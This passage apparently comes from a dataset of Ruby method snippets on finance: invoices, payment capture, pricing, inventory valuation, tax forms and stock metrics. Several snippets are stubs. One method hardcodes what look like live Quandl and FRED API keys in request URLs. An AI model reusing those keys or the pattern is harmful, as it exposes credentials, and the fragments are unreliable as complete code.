'+@product.to_s());\n\nif (@product != nil)\n@pricebid=@product[\"DEFPRICE\"]\n@vid=@product[\"VID\"]\n\n$LOG.info(@vid.to_s()+' - '+@pricebid.to_s());\n\n@contracts=get_contracts_by_vendor(@vid); # GET all contracts of vendor\n@contract=@contracts[@CID]\n\n$LOG.info(' contract => '+@contract.to_s());\n\nif (@contract!=nil) # User has contract with vendor\n# CONTRACT EXISTS - IT'S OK TO PUT PRICE \n@prices=get_prices_for_the_product(@PID) \n@pricebid=nil;\nif (@prices != nil)\n@pricebid0=@prices[@CID]\nif (@pricebid0 != nil)\n@pricebid=@pricebid0\nend\nend\nend\n\n\n \nend\n\n$LOG.info(' RESULT => '+@pricebid.to_s());\n\n@pricebid\nend", "def get_status\n if draft\n :draft\n elsif paid\n :paid\n elsif due_date\n if due_date > Date.today\n :pending\n else\n :overdue\n end\n else\n # An invoice without a due date can't be overdue\n :pending\n end\n end", "def analysis\n # return 0 if @previous_buy_price == 0 # next for the first time\n\n if @order.trading_type == \"BUYING\"\n check_set_order_for_buy()\n elsif @order.trading_type == \"CHECKING_ORDER_BUY\"\n check_finish_order_buy()\n elsif @order.trading_type == \"SELLING\"\n check_set_order_sell()\n elsif @order.trading_type == \"CHECKING_ORDER_SELL\"\n check_finish_order_sell()\n elsif @order.trading_type == \"FORCE_SELL\"\n force_order_sell()\n end\n end", "def payment_price_discount\n\t\t\t\t\treturn nil\n\t\t\t\tend", "def determine_status\n sent = invoice.email_status == \"EmailSent\"\n balance = invoice.balance.to_f\n\n if balance == 0\n \"Paid\"\n elsif check_due_date(invoice.due_date)\n sent ? \"Overdue Sent\" : \"Overdue\"\n elsif balance > 0 && balance < invoice.total\n sent ? \"Partial Sent\" : \"Partial\"\n elsif balance == invoice.total\n sent ? \"Open Sent\" : \"Open\"\n end\n end", "def gas_expense\n { amount: 12.50 , comment: 'Gas at Chevron', when: '2013-09-09', expensetype_id: 1 }\n end", "def debt_service\n property.net_operating_income / debt_payment\n end", "def state_fulfillment_fee\n adjustments.eligible.where(:label => 'Additional State Fulfillment Fee').first.amount rescue 0.0\n end", "def compound_return(periods,present_value,future_value)\n pv = present_value.to_d\n fv = future_value.to_d\n n = periods.to_d\n rate = ((fv / pv)**(1/n))-1\n end", "def financials_with_http_info(symbol, statement, freq, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.financials ...'\n end\n # verify the required parameter 'symbol' is set\n if @api_client.config.client_side_validation && symbol.nil?\n fail ArgumentError, \"Missing the required parameter 'symbol' when calling DefaultApi.financials\"\n end\n # verify the required parameter 'statement' is set\n if @api_client.config.client_side_validation && statement.nil?\n fail ArgumentError, \"Missing the required parameter 'statement' when calling DefaultApi.financials\"\n end\n # verify the required parameter 'freq' is set\n if @api_client.config.client_side_validation && freq.nil?\n fail ArgumentError, \"Missing the required parameter 'freq' when calling DefaultApi.financials\"\n end\n # resource path\n local_var_path = '/stock/financials'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'symbol'] = symbol\n query_params[:'statement'] = statement\n query_params[:'freq'] = freq\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'FinancialStatements' \n\n # auth_names\n auth_names = opts[:auth_names] || ['api_key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#financials\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_status\n if draft\n :draft\n elsif closed || gross_amount <= paid_amount\n :closed\n elsif due_date and due_date > Date.today\n :opened\n else\n :overdue\n end\n end", "def price_by_status(status)\n case status\n when \"medic\"\n return 270\n when \"interne\"\n return 126\n when \"interim\"\n return 480\n else\n return 0\n end\nend", "def payment_term; end", "def franchisee_royalty_pay_slip\n \n end", "def prepare_report_detail()\n Ruport::Data::Table.new( :column_names => self.class.report_detail_symbols() ) { |t|\n t << self.to_a_s( self.class.report_detail_symbols(), CONVERTED_FLOAT2STRING_FIXED_PRECISION, 8 )\n percentage_amount = 0.0\n if self.patient && self.patient.is_a_firm? && self.patient.is_fiscal?\n account_percent = AppParameterCustomizations.get_receipt_account_percent()\n percentage_amount = self.account_percentage_amount( account_percent )\n t << ['',\n I18n.t(:vat_withholding),\n \"#{Format.float_value( account_percent, 0, CONVERTED_PERCENT2STRING_FIXED_LENGTH )} %\",\n Format.float_value( percentage_amount, 2, CONVERTED_FLOAT2STRING_FIXED_LENGTH )\n ]\n end\n costs = self.get_additional_cost_totals()\n total_amount = (self.net_price() + percentage_amount + costs[:positive] - costs[:negative])\n t << ['',\n '',\n \"<i>#{I18n.t(:to_be_payed, {:scope=>[:receipt]})}:</i>\",\n \"<b>#{Format.float_value( total_amount, 2, CONVERTED_FLOAT2STRING_FIXED_LENGTH )}</b>\"\n ]\n }\n end", "def getCashValueOfIndFundInvestment(ind, fund, date)\r\n\r\n\t\t\r\n\r\n\tend", "def xlate_bank_msg(foreign_id, date, op, amount, comment = '', payee_name = '')\n Rails.logger.debug \"xlate_bank_msg> account_id: %s date: %s op: %s amount: %s payee_name: %s comment: %s\" % [\n foreign_id, date, op, amount, payee_name, comment\n ]\n\n date = Date.parse(date)\n account = $treasury.accounts.foreign_id(foreign_id).first\n raise XlateBankMsgFailed, \"Account by foreign_id (#{foreign_id}) not found\" unless account\n amount = amount.delete('.').to_i\n comment.squeeze!(\" \")\n\n Rails.logger.debug \"xlate_bank_msg> date: %s account: %s amount: %s comment: %s\" % [\n date, account.name, amount.inspect, comment.inspect\n ]\n\n return account, date, op, amount, comment, payee_name\nend", "def get_processing_fee\n @invoice.amount ? CalcTotal::get_processing_fee(@invoice.amount).round(2) : 0.0\n end", "def evaluate_ps_with_special_handling(detail) #Return DNDC and DSCF nonmachinable surcharge discount rates (or FALSE if not-applicable).\n\t\t\tdndc_discount = 0 #Initial value set to 0.\n\t\t\tdscf_discount = 0 #Initial value set to 0.\n\t\t\t\n\t\t\t#For DNDC (B), only applicable for rate indicators SP and BN that have PC 5 (Non-machinable)\n\t\t\t#For DSCF (S), only applicable for rate indicators 3D and B3 (3Digit Balloon) that have PC 5 (Non-machinable)\n\t\t\t\n\t\t\tif detail.comb_values(true).include?('970') #Catch extra-service-code '970' (Special Handling)\n\t\t\t\tif detail.destination_rate_indicator == 'B' and detail.processing_category == '5' and ['SP','BN'].include?(detail.rate_indicator) #Non-machinable DNDC\n\t\t\t\t\tmachinable_rate = 0\n\t\t\t\t\tnonmachinable_rate = 0\n\t\t\t\t\t[\"PSDestEntry3B.csv\", \"PSDestEntry5B.csv\"].each do |rate_table_file|\n\t\t\t\t\t\trateTable = loadTable(rate_table_file)\n\t\t\t\t\t\tif rate_table_file.include?('3')\n\t\t\t\t\t\t\tmachinable_rate = rateTable.first[detail.domestic_zone].to_f\n\t\t\t\t\t\telsif rate_table_file.include?('5')\n\t\t\t\t\t\t\tnonmachinable_rate = rateTable.first[detail.domestic_zone].to_f\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tdndc_discount = nonmachinable_rate - machinable_rate\n\t\t\t\telsif detail.destination_rate_indicator == 'S' and detail.processing_category == '5' and ['3D','B3'].include?(detail.rate_indicator) #Non-machinable DSCF\n\t\t\t\t\tmachinable_rate = 0\n\t\t\t\t\tnonmachinable_rate = 0\n\t\t\t\t\t[\"PSDestEntry3S.csv\", \"PSDestEntry5S.csv\"].each do |rate_table_file|\n\t\t\t\t\t\trateTable = loadTable(rate_table_file)\n\t\t\t\t\t\tif rate_table_file.include?('3')\n\t\t\t\t\t\t\tmachinable_rate = rateTable.first['S'].to_f\n\t\t\t\t\t\telsif rate_table_file.include?('5')\n\t\t\t\t\t\t\tnonmachinable_rate = rateTable.first['3D'].to_f\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tdscf_discount = nonmachinable_rate - machinable_rate\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn dndc_discount.round(2), dscf_discount.round(2)\n\t\tend", "def get_recent_financial_info(start_date, end_date)\n recent_payments[Payment::PAYMENT_TYPE_MEMBER.to_sym] = Payment.member_fee.updated_in_date_range(start_date, end_date) # Payment.member_fee.where(status: 'betald', updated_at: start_date..end_date)\n recent_payments[Payment::PAYMENT_TYPE_BRANDING.to_sym] = Payment.branding_fee.updated_in_date_range(start_date, end_date) # where(status: 'betald', updated_at: start_date..end_date)\n\n recent_payments # return this to make testing easier\n end", "def book_sales(period='enddate', basis, exclude)\n royalty_period = Period.where([\"currentperiod = ? and client_id = ?\", true, self.client_id])\n if period == 'startdate'\n self.calculate_book_royalties(self, royalty_period.first.enddate, royalty_period.first.startdate, basis, exclude)\n else #if period isn't 'startdate'\n self.calculate_book_royalties(self, royalty_period.first.enddate, \"1900-01-01\", basis, exclude)\n end\n end", "def get_total_apply_amount\n total=0\n if self.doc_type==1\n total+= amount_for :borrow_doc_details\n end\n if doc_type==2\n total+= amount_for :pay_doc_details\n end\n if doc_type==3\n total+= amount_for :rec_notice_details\n end\n if doc_type==4 and inner_remittance!=nil\n total=inner_remittance.amount || 0\n end\n if doc_type==5 and inner_transfer !=nil\n total=inner_transfer.amount || 0\n end\n if doc_type==6 and inner_cash_draw!=nil\n inner_cash_draw.cash_draw_items.each do |c_item|\n next if c_item.apply_amount==nil or c_item.marked_for_destruction?\n total+=c_item.apply_amount\n end\n end\n if doc_type==7 and buy_finance_product!=nil\n total=buy_finance_product.amount\n end\n if doc_type==8 and redeem_finance_product!=nil\n total=redeem_finance_product.amount\n end\n if doc_type==9\n %w(rd_travels rd_transports rd_lodgings other_riems).each do |rd|\n total+=amount_for rd \n end\n end\n if doc_type==10\n total+=amount_for :rd_communicates\n end\n if doc_type==11\n %w(rd_extra_work_cars rd_extra_work_meals).each do |rd|\n total+=amount_for rd\n end\n end\n if doc_type==12\n %w(rd_common_transports rd_work_meals common_riems).each do |rd|\n total+=amount_for rd\n end\n end\n if doc_type==13\n total+= amount_for :rd_benefits\n end\n if doc_type==14\n # todo\n # total+=amount_for :fixed_properties\n end\n total\n end", "def damt_paid\n\tamt_paid/100.0 rescue 0.0 \nend", "def expense_details\n if date_format_check\n filter_by_account, account_id = account_filter false\n\n if filter_by_account\n ft_joins = \"\" #[:finance_transaction_receipt_record]\n filter_conditions = \"AND finance_transaction_receipt_records.fee_account_id #{account_id == nil ? 'IS' : '='} ?\"\n filter_values = [account_id]\n else\n ft_joins = filter_values = []\n filter_conditions = \"\"\n end\n\n @expense_category = FinanceTransactionCategory.find(params[:id])\n\n if @expense_category.name == 'Refund'\n ft_joins = \"INNER JOIN fee_refunds fr ON fr.finance_transaction_id = finance_transactions.id\n INNER JOIN finance_fees ff ON ff.id = fr.finance_fee_id\n INNER JOIN finance_fee_collections ffc ON ffc.id = ff.fee_collection_id\n LEFT JOIN fee_accounts fa On fa.id = ffc.fee_account_id\"\n cond = \"(fa.id IS NULL OR fa.is_deleted = false) AND \"\n else\n cond = \"\"\n end\n\n @grand_total = @expense_category.finance_transactions.all(:select => \"finance_transactions.amount\",\n :joins => ft_joins, :conditions => [\"#{cond} transaction_date BETWEEN ? AND ? #{filter_conditions}\",\n @start_date, @end_date] + filter_values).map { |x| x.amount.to_f }.sum\n\n @expense = @expense_category.finance_transactions.all(:joins => ft_joins, :conditions =>\n [\"#{cond} transaction_date BETWEEN ? AND ? #{filter_conditions}\", @start_date, @end_date] + filter_values)\n end\n end", "def capture_funds\n \n resp = StdClass.new \n it = InvoiceTransaction.where(:invoice_id => self.id, :success => true).first\n \n if self.financial_status == Invoice::FINANCIAL_STATUS_CAPTURED\n resp.error = \"Funds for this invoice have already been captured.\" \n elsif self.total > it.amount\n resp.error = \"The invoice total exceeds the authorized amount.\"\n elsif it.nil?\n resp.error = \"This invoice doesn't seem to be authorized.\"\n else\n \n sc = self.site.store_config \n case sc.pp_name\n \n #when 'authorize.net'\n # transaction = AuthorizeNet::AIM::Transaction.new(sc.authnet_api_login_id, sc.authnet_api_transaction_key)\n # response = transaction.prior_auth_capture(t.transaction_id, self.total)\n # \n # ot = Caboose::InvoiceTransaction.create(\n # :invoice_id => self.id,\n # :date_processed => DateTime.now.utc,\n # :transaction_type => InvoiceTransaction::TYPE_CAPTURE,\n # :payment_processor => sc.pp_name,\n # :amount => self.total, \n # :success => response.response_code && response.response_code == '1', \n # :transaction_id => response.transaction_id,\n # :auth_code => response.authorization_code,\n # :response_code => response.response_code\n # )\n # if ot.success\n # self.date_captured = DateTime.now.utc\n # self.save \n # end \n # self.update_attribute(:financial_status, Invoice::FINANCIAL_STATUS_CAPTURED)\n # resp.success = 'Captured funds successfully'\n \n when StoreConfig::PAYMENT_PROCESSOR_STRIPE\n \n it = Caboose::InvoiceTransaction.where(:invoice_id => self.id, :success => true).first\n if it.nil?\n resp.error = \"Error capturing funds for invoice #{self.id}. No previous successful authorization for this invoice exists.\"\n return false\n else \n Stripe.api_key = sc.stripe_secret_key.strip\n bt = nil\n begin\n c = Stripe::Charge.retrieve(it.transaction_id)\n c = c.capture\n bt = Stripe::BalanceTransaction.retrieve(c.balance_transaction)\n rescue Exception => ex\n resp.error = \"Error during capture process\\n#{ex.message}\" \n end\n \n if resp.error.nil?\n InvoiceTransaction.create(\n :invoice_id => self.id,\n :transaction_id => bt.id,\n :transaction_type => InvoiceTransaction::TYPE_CAPTURE,\n :payment_processor => sc.pp_name,\n :amount => bt.amount / 100, \n :date_processed => DateTime.strptime(bt.created.to_s, '%s'),\n :success => bt.status == 'succeeded' || bt.status == 'pending'\n )\n if bt.status == 'succeeded' || bt.status == 'pending'\n self.financial_status = Invoice::FINANCIAL_STATUS_CAPTURED\n self.save\n resp.success = true\n else\n resp.error = \"Error capturing funds.\"\n end\n end\n end\n \n end \n end \n return resp\n end", "def inventory_valuation(valuation_date)\n quantity=0\n purchases = purchase_line_items.\n select(\" sum(quantity * unit_rate) as total_purchase_price, sum(quantity) as total_purchase_qty\").joins(:purchase).\n where(:purchases =>{:company_id => self.company_id, :status_id => [0,1,3]}).\n where(\"purchases.record_date <= ?\", valuation_date)\n total_purchased_price = purchases[0].total_purchase_price.blank? ? 0 : purchases[0].total_purchase_price\n total_purchased_qty = purchases[0].total_purchase_qty.blank? ? 0 : purchases[0].total_purchase_qty\n\n\n received= stock_receipt_line_items.\n select(\"sum(quantity * unit_rate) as total_stk_recv_amount, sum(quantity) as total_stk_recv_qty\").\n joins(:stock_receipt_voucher).\n where(:stock_receipt_vouchers => {:company_id=> self.company_id}).\n where(\"stock_receipt_vouchers.voucher_date <= ?\",valuation_date)\n total_stk_recv_amount = received[0].total_stk_recv_amount.blank? ? 0 : received[0].total_stk_recv_amount\n total_stk_recv_qty = received[0].total_stk_recv_qty.blank? ? 0 : received[0].total_stk_recv_qty\n\n invoice_returns = invoice_return_line_items.\n select(\" sum(quantity * unit_rate) as total_stk_retrn_amount, sum(quantity) as total_stk_retrn_qty\").\n joins(:invoice_return).\n where(:invoice_returns => {:company_id=> self.company_id}).\n where(\"invoice_returns.record_date <= ?\", valuation_date)\n total_stk_retrn_amount = invoice_returns[0].total_stk_retrn_amount.blank? ? 0 : invoice_returns[0].total_stk_retrn_amount\n total_stk_retrn_qty = invoice_returns[0].total_stk_retrn_qty.blank? ? 0 : invoice_returns[0].total_stk_retrn_qty\n\n total_opening_stk_qty = get_opening_stock_quantity #stocks.sum(:opening_stock)\n total_opening_stk_amount = stocks.sum(\"opening_stock * opening_stock_unit_price\").to_d\n\n\n total_purchase_qty = total_opening_stk_qty + total_purchased_qty + total_stk_recv_qty #+ total_stk_retrn_qty\n total_purchase_amount = total_opening_stk_amount + total_purchased_price +total_stk_recv_amount #+total_stk_retrn_amount\n \n weighted_avg_cost_per_unit_price = 0\n if total_purchase_qty >0\n weighted_avg_cost_per_unit_price = total_purchase_amount / total_purchase_qty\n end\n\n #we add the returns qty and amounts after calculating the weighted average price. Else it will be accounted twice\n total_purchase_qty +=total_stk_retrn_qty\n total_purchase_amount +=total_stk_retrn_amount\n\n\n invoiced_qty = invoice_line_items.joins(:invoice)\n .where(:invoices =>{:invoice_status_id => [0,2,3,4], :company_id=> company_id})\n .where(\"invoices.invoice_date <= ?\", valuation_date)\n .sum(:quantity)\n\n issued_qty = stock_issue_line_items.joins(:stock_issue_voucher)\n .where(:stock_issue_vouchers => {:company_id => company_id})\n .where(\"stock_issue_vouchers.voucher_date <= ?\", valuation_date)\n .sum(:quantity)\n\n wastage_qty = stock_wastage_line_items.joins(:stock_wastage_voucher)\n .where(:stock_wastage_vouchers => {:company_id => company_id})\n .where(\"stock_wastage_vouchers.voucher_date <= ?\", valuation_date).sum(:quantity)\n\n purchase_retrn_qty = purchase_return_line_items.joins(:purchase_return)\n .where(:purchase_returns => {:company_id => company_id})\n .where(\"purchase_returns.record_date <= ?\", valuation_date)\n .sum(:quantity)\n\n\n total_sold_qty = invoiced_qty + issued_qty + wastage_qty + purchase_retrn_qty\n outstanding_inventory_qty = total_purchase_qty - total_sold_qty\n weighted_avg_inventory_valuation = weighted_avg_cost_per_unit_price * outstanding_inventory_qty\n weighted_avg_inventory_valuation\n end", "def productrevenue\n vat_rate = TaxRate.find_by_name(\"VAT\")\n shipping_rate = TaxRate.find_by_name(\"Shipping Reverse for PPO\")\n \n totalrevenue = 0\n totalrevenue += (self.subtotal * (self.pieces ||= 1) * vat_rate.reverse_rate.to_f) || 0\n totalrevenue += (self.shipping * (self.pieces ||= 1) * shipping_rate.reverse_rate.to_f) || 0\n return totalrevenue\nend", "def void\n \n resp = StdClass.new\n t = InvoiceTransaction.where(:invoice_id => self.id, :transaction_type => InvoiceTransaction::TYPE_AUTHORIZE, :success => true).first\n \n if self.financial_status == Invoice::FINANCIAL_STATUS_CAPTURED\n resp.error = \"This invoice has already been captured, you will need to refund instead\"\n elsif t.nil?\n resp.error = \"This invoice doesn't seem to be authorized.\"\n else\n \n sc = self.site.store_config\n ot = Caboose::InvoiceTransaction.new(\n :invoice_id => self.id,\n :date_processed => DateTime.now.utc,\n :transaction_type => InvoiceTransaction::TYPE_VOID,\n :payment_processor => sc.pp_name,\n :amount => self.total\n )\n \n case sc.pp_name\n when 'authorize.net' \n response = AuthorizeNet::SIM::Transaction.new(\n sc.authnet_api_login_id, \n sc.authnet_api_transaction_key, \n self.total,\n :transaction_type => InvoiceTransaction::TYPE_VOID,\n :transaction_id => t.transaction_id,\n :test => sc.pp_testing\n ) \n self.update_attributes(\n :financial_status => Invoice::FINANCIAL_STATUS_VOIDED,\n :status => Invoice::STATUS_CANCELED\n )\n self.save \n # TODO: Add the variant quantities invoiceed back \n resp.success = \"Invoice voided successfully\"\n \n ot.success = response.response_code && response.response_code == '1' \n ot.transaction_id = response.transaction_id\n #ot.auth_code = response.authorization_code\n ot.response_code = response.response_code \n ot.save\n \n when 'stripe'\n # TODO: Implement void invoice for strip\n \n when 'payscape'\n # TODO: Implement void invoice for payscape\n \n end\n \n end\n return resp \n end", "def value_paid\n self.sale.bitcoin_payments.select{|x| x.confirmations >= 6}.map{|x| x['value']}.sum\n end", "def describe_price\r\n\t\ta = []\r\n\t\ta << sprintf('$%.2f per item', per_item) unless per_item.zero?\r\n\t\ta << sprintf('$%.2f per kg', per_kg) unless per_kg.zero?\r\n\t\ta << sprintf('$%.2f', flat_rate) unless flat_rate.zero?\r\n\t\tif formula and !formula.empty?\r\n\t\t\tif formula_description and !formula_description.empty?\r\n\t\t\t\ta << formula_description\r\n\t\t\telse\r\n\t\t\t\ta << formula.gsub('I', \"'number of items'\").gsub('W', \"'total weight'\").gsub('V', \"'total value'\")\r\n\t\t\tend\r\n\t\tend\r\n\r\n\t\ta.empty? ? ((name == '[ to be advised ]') ? nil : 'no charge') : a.join(' + ')\r\n\tend", "def _spent_on\n return payment\n end", "def declaration_calculation\n # do the submitted part first to get it out of the way\n if params[:continue]\n wizard_step_submitted(nil, next_step: :declaration_calculation_next_step)\n return # can't use && guard clause as wizard_step_submitted returns nil\n end\n\n setup_step\n\n # do/download calculations into model and store in wizard\n @slft_return.calculate_tax(current_user)\n\n # don't store if back office sent errors\n wizard_save(@slft_return) unless @slft_return.errors.any?\n end", "def calculate_price(discount_price)\n _, size, provider = extract_values\n shipping_price = shipping_rate(provider, size)\n total = total_discount_given_in_month\n\n if total >= TOTAL_DISCOUNT_LIMIT\n [shipping_price, DEFAULT_DISCOUNT]\n elsif total <= TOTAL_DISCOUNT_LIMIT\n final_discount = final_discount_price(discount_price, total)\n reduced_price = reduced_shipment_price(shipping_price, final_discount)\n [reduced_price, final_discount]\n end\n end", "def compute_actual\n line[1] = @ho_form.line['sqft']\n line[2] = @ho_form.line['total_sqft']\n line[3] = (line[1] * 100.0 / line[2]).round(2)\n\n line['4/gross_inc'] = gross_income\n\n # We make a simplifying assumption that (1) every Home Office Expense\n # applies to every Home Office form, and (2) all expenses are indirect.\n categorize_records('Home Office Expense')\n #\n # We assume that the home office using the actual method is being rented and\n # thus there are no mortgage payments or such on it.\n #\n #fill_for_categories(self, '5b', 'Casualty_Losses')\n #fill_for_categories(self, '6b', 'Mortgage_Interest')\n #fill_for_categories(self, '7b', 'Real_Estate_Taxes')\n\n line['8b'] = sum_lines('5b', '6b', '7b')\n line[9] = (line['8b'] * line[3] / 100.0).round\n line[10] = line[9]\n\n line[11] = other_business_expenses\n\n line[12] = sum_lines(10, 11)\n line['13/ho_max_ded'] = line[4] - line[12]\n\n fill_for_categories(self, '16b', 'Insurance')\n fill_for_categories(self, '17b', 'Rent')\n fill_for_categories(self, '18b', 'Repairs')\n fill_for_categories(self, '19b', 'Utilities')\n fill_other_categories(\n self, '20b', continuation: 'Other Home Office Expenses'\n )\n line['21b'] = sum_lines(*%w(14b 15b 16b 17b 18b 19b 20b))\n line[22] = (line['21b'] * line[3] / 100.0).round\n\n # Assume no carryover for line 23\n line['24/ho_ded'] = sum_lines('21a', 22, 23)\n line[25] = [ line[13], line[24] ].min\n line[26] = line[13] - line[25]\n\n # Assume no casualty losses or depreciation for lines 27-29 and 33\n line[30] = sum_lines(27, 28, 29)\n line[31] = [ line[26], line[30] ].min\n line[32] = sum_lines(10, 25, 31)\n\n line[33] = BlankZero\n line['34/ho_expenses'] = line[32] - line[33]\n\n end", "def dod_paygrade; end", "def get_basic_info\n yahoo_client = YahooFinance::Client.new\n @data = yahoo_client.quotes([@stock.ticker_symbol], [:open, :high, :low, :close, :last_trade_price, :change, :change_in_percent, :dividend_yield])\n respond_to do |format|\n format.json { render json: @data, status: :ok }\n format.html { @data }\n end\n url = \"https://www.quandl.com/api/v3/datasets/SF0/\" + @stock.ticker_symbol + \"_BVPS_MRY.json?api_key=rWvJtw9jPu2px-yskKZ4\"\n resp = HTTP.get(url)\n @history = JSON.parse(resp, symbolize_keys: true)\n\n end_date = Date.today\n start_date = Date.today.prev_month \n\n fred_url = \"https://api.stlouisfed.org/fred/series/observations?series_id=DGS5&api_key=d9f592689a18d841cab93825d4e060c7&file_type=json&observation_start=\" + start_date.strftime('%Y-%m-%e') + \"&observation_end=\" + end_date.strftime('%Y-%m-%e') + \"\"\n fred_resp = HTTP.get(fred_url)\n five_year_interest_rates = JSON.parse(fred_resp, symbolize_keys: true)\n interest_rate = five_year_interest_rates[\"observations\"].last[\"value\"].to_f\n\n if @history[\"dataset\"].nil?\n @derivative_fypm = \"N/A\"\n @linear_fypm = \"N/A\"\n @rate_fypm = \"N/A\"\n else\n book_values = @history[\"dataset\"][\"data\"]\n # derivative FYPM values\n v1 = book_values[3][1].to_f - book_values[4][1].to_f\n v2 = book_values[2][1].to_f - book_values[3][1].to_f\n v3 = book_values[1][1].to_f - book_values[2][1].to_f\n v4 = book_values[0][1].to_f - book_values[1][1].to_f\n @div = @data[0].dividend_yield.to_f\n price = @data[0].last_trade_price.to_f\n five_year_div_yield = ((((@div * 0.01) + 1.0) ** 5.0) - 1.0) * 100.0\n five_year_interest_rate_yield = 100 * ((((interest_rate/100) + 1) ** 5) - 1)\n # variables for derivative book value linear fit\n sigma_x = 6.0\n sigma_x_squared = 14.0\n sigma_y = v1 + v2 + v3 + v4\n sigma_xy = v2 + v3*2.0 + v4*3.0\n n = 4.0\n # derivative book value linear fit\n a = ((sigma_y*sigma_x_squared) - (sigma_x*sigma_xy))/((n*sigma_x_squared)-(sigma_x**2))\n b = ((n*sigma_xy) - (sigma_x*sigma_y))/((n*sigma_x_squared)-(sigma_x**2))\n five_year_book_value_added = (6.5*b + a)*5.0\n five_year_book_value_yield = (five_year_book_value_added/price)*100\n # derivative FYPM final calc\n @derivative_fypm = ((five_year_book_value_yield + five_year_div_yield)/five_year_interest_rate_yield)\n\n # non- derivative FYPM values\n v1 = book_values[4][1].to_f\n v2 = book_values[3][1].to_f\n v3 = book_values[2][1].to_f\n v4 = book_values[1][1].to_f\n v5 = book_values[0][1].to_f\n # variables for non-derivative book value linear fit\n sigma_x = 10.0\n sigma_x_squared = 30.0\n sigma_y = v1 + v2 + v3 + v4 + v5\n sigma_xy = v2 + v3*2.0 + v4*3.0 + v5*4.0\n n = 5.0\n # non-derivative book value linear fit\n a = ((sigma_y*sigma_x_squared) - (sigma_x*sigma_xy))/((n*sigma_x_squared)-(sigma_x**2))\n b = ((n*sigma_xy) - (sigma_x*sigma_y))/((n*sigma_x_squared)-(sigma_x**2))\n five_year_book_value_added_linear = (10.0*b + a) - v5\n five_year_book_value_added_rate = 5.0*b\n five_year_book_value_yield_linear = (five_year_book_value_added_linear/price)*100\n five_year_book_value_yield_rate = (five_year_book_value_added_rate/price)*100\n # non-derivative FYPM final calc\n @linear_fypm = ((five_year_book_value_yield_linear + five_year_div_yield)/five_year_interest_rate_yield)\n @rate_fypm = ((five_year_book_value_yield_rate + five_year_div_yield)/five_year_interest_rate_yield)\n\n # get change from previous day\n last_fypm = StockDatum.where(ticker_symbol: @stock.ticker_symbol).order(\"created_at DESC\").first\n if last_fypm.nil?\n @linear_change = nil\n @rate_change = nil\n @derivative_change = nil\n else\n @linear_change = ((@linear_fypm / last_fypm.linear_fypm ) - 1.0) * 100.0\n @rate_change = ((@rate_fypm / last_fypm.rate_fypm ) - 1) * 100\n @derivative_change = ((@derivative_fypm / last_fypm.derivative_fypm ) - 1) * 100\n end\n\n end\n end", "def price(raw_coin, raw_date=nil)\r\n \r\n coin = raw_coin.downcase.split.map(&:capitalize).join(' ')\r\n \r\n return self.coin(coin).quote['USD']['price'].to_f if raw_date.nil?\r\n puts 'raw_date: ' + raw_date.inspect if @debug\r\n \r\n date = if raw_date.is_a? Date then\r\n raw_date.strftime(\"%Y%m%d\")\r\n else\r\n Chronic.parse(raw_date.gsub('-',' ')).strftime(\"%d%m%Y\")\r\n end\r\n puts 'date: ' + date.inspect if @debug\r\n \r\n # if date is today then return today's price\r\n \r\n if date == Date.today.strftime(\"%d%m%Y\")\r\n puts 'same day' if @debug\r\n return self.coin(coin).quote['USD']['price'].to_f \r\n end\r\n \r\n \r\n if @history_prices[coin] and @history_prices[coin][date] then\r\n @history_prices[coin][date]\r\n else\r\n begin\r\n \r\n if @debug then\r\n puts 'coin: ' + coin.inspect \r\n puts 'date: ' + date.inspect\r\n end\r\n \r\n #a = Coinmarketcap.get_historical_price(coin.gsub(/ /,'-'), date, date)\r\n #puts 'a: ' + a.inspect if @debug \r\n \r\n #r = a.any? ? a.first[:close] : self.coin(coin).quote['USD']['price'].to_f \r\n price = @cq.historical_price coin, date\r\n r = price ? price.to_f : self.coin(coin).quote['USD']['price'].to_f \r\n @history_prices[coin] ||= {}\r\n @history_prices[coin][date] = r\r\n File.write @historic_prices_file, @history_prices.to_yaml\r\n \r\n return r\r\n \r\n rescue\r\n puts ($!).inspect if @debug\r\n end\r\n end\r\n \r\n end", "def calculate_invoice\n @event.category == \"bill\" ? \"Bill-#{Time.now.strftime(\"%Y\")}/1\" : \"Quotation-#{Time.now.strftime(\"%Y\")}/1\"\n end", "def payment_status\n if paid\n return 'green'\n elsif payment_date < Date.today\n return 'red'\n else \n return 'pending'\n end\n end", "def get_discount\n case days\n when 0..1\n 0\n when 2..4\n FIRST_DISCOUNT\n when 5..10\n SECOND_DISCOUNT\n else\n THIRD_DISCOUNT\n end\n end", "def process_order_payment\n \n return \"No Order Paid Date not found, order NOT PROCESSED\" if self.paid_date.blank?\n return \"No Order Paid Amount not found, order NOT PROCESSED\" if self.paid_amount.blank?\n return \"No Order Ref Name not found, order NOT PROCESSED\" if self.name.blank? \n return \"No Order Ref Id not found, order NOT PROCESSED\" if self.order_master_id.blank? \n \n return \"Paid Amount #{self.paid_amount} is less than ORDER AMOUNT #{self.order_master.grand_total}\" if self.paid_amount.to_i < self.order_master.grand_total.to_i\n \n order_master = OrderMaster.new\n return order_master.process_order self.order_master_id\n \n end", "def currency; end", "def currency; end", "def calculate(quote)\n loan_amt = loan_amount(quote)\n monthly_pmt = loan_amt / pv_of_1_dollar_payments\n {\n debt_rate: debt_rate,\n loan_amount: loan_amt.round(2),\n monthly_payment: monthly_pmt.round(2)\n }\n end", "def book_value(period='enddate', basis, exclude)\n salearray = []\n sales = self.book_sales(period, basis, exclude)\n sales.each do |sale|\n salearray << sale.value_by_band.inject(0) { |sum, i| sum + i.to_f unless i.nan? or i.nil? }\n end\n book_value =salearray.inject(0) { |sum, i| sum +i.to_f }\n end", "def return\n earning/(@amount*@term)\n 